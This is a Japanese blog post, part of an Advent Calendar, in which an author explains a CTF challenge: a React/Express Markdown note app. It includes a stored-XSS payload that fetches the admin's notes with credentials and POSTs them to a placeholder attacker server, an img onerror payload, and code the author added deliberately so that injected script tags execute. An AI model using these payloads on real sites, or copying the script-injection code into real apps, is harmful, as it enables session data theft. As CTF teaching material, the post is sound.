この記事は m1z0r3 Advent Calendar 2018 の8日目です。
前回 チーム内CTFで作問した話 - プロトタイプ汚染攻撃編 - Qiita という記事を書きましたが、その続きです。
問題の概要
出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。
FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。
SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。
ノートを投稿すると、Admin が投稿を確認しに来るというシンプルな設定です。また、FLAG は Admin が最初に投稿したノートに書かれています(当日は問題文にそのことが書いてありました)。
解答
普通にアプリケーション上のエディタで XSS を試しても <script>
タグは使えません。
しかし、 Markdown の変換はクライアント側で行なっており、作成時にタイトルと Markdown の本文、Markdown をパースした HTML を送信しています。そして、作成されたノートでは、送信された HTML をそのまま表示しています。
したがって、 Burp suite でリクエストを書き換えるなり、 Postman 等で送信するなりすれば XSS は可能です。
あとは以下のような内容を POST すれば FLAG にたどり着けます。
<script>
fetch('/api/notes', { credentials: 'include' })
.then(r => r.text())
.then(text => fetch('Your Server', { method: 'POST', body: text }))
</script>
ここから本題
ここまでの話は CTF ではよくある XSS の問題であり、難易度としても高くないと思います。
しかし、作問が終わって試した際にあることに気付きました。
「あれ、XSS できない!?」
この問題はクライアント側は React を使っており、SPA になっています。投稿したノートを見るとき( /notes/:uuid
にアクセスしたとき)に以下の手順を踏みます。
- Express によって index.html が返される(それにより webpack により build された index.js が読み込まれる)
- index.js が実行され、 React が DOM を生成
- ノートの内容を取得するために axios で
/api/notes/:uuid
を叩く(その間は Loading ... が表示される) - API の結果を元に再度 React がノートを描画する
まず、基本的に React の場合は操作するのが仮想 DOM であり、React が DOM を生成する際に自動で HTML エスケープしてくれる ため、XSS は起こりにくいです。しかし、これではデータベースの中に保存した(Markdown を変換した) HTML を表示することができません。
そこで、React では dangerouslySetInnerHTML
というのを用いて HTML (の文字列)から DOM を生成します。ここで私は勘違いをしていて、てっきり <script>
も実行されると思っていたのですが、 dangerouslySetInnerHTML
で挿入した <script>
は実行されません。1
どうやら MDN によると、 Element.innerHTML
で <script>
を追加した場合には実行されないようです。ここでさらに勘違いをして、 実際には MDN のページにあるように <img src='x' onerror='alert(1)'>
などで XSS できる のですが(なので dangerouslySetInnerHTML
を使うときは XSS に注意)、XSS できないと思い込んでしまい四苦八苦します。
XSS させるためにした工夫
さて、実際には onerror
等で XSS は可能(つまり問題として成立済み)なのですが、気がついていなかったので、ノートの本文中の <script>
を実行できるように頑張りました。
実は element.appendChild()
を用いると <script>
を実行することができます。
これを利用して、 API 経由で情報を取ってきた後に、ノートの本文の HTML 中の <script>
をすべて探し出し、 appendChild
で最後にまとめて追加しました。
const fragment: DocumentFragment = document.createDocumentFragment()
const mdBody = document.createElement('div')
mdBody.className = 'markdown-body'
mdBody.innerHTML = this.state.note!.body
fragment.appendChild(mdBody)
const scripts = mdBody.getElementsByTagName('script')
for (const script of Array.from(scripts)) {
const element = document.createElement('script')
element.type = 'text/javascript'
element.async = true
if (script.src) element.src = script.src
element.innerHTML = script.innerHTML
fragment.appendChild(element)
}
this.state.instance.appendChild(fragment)
これにより、無理やりですが、ノートに書かれた script
を実行できるようになりました。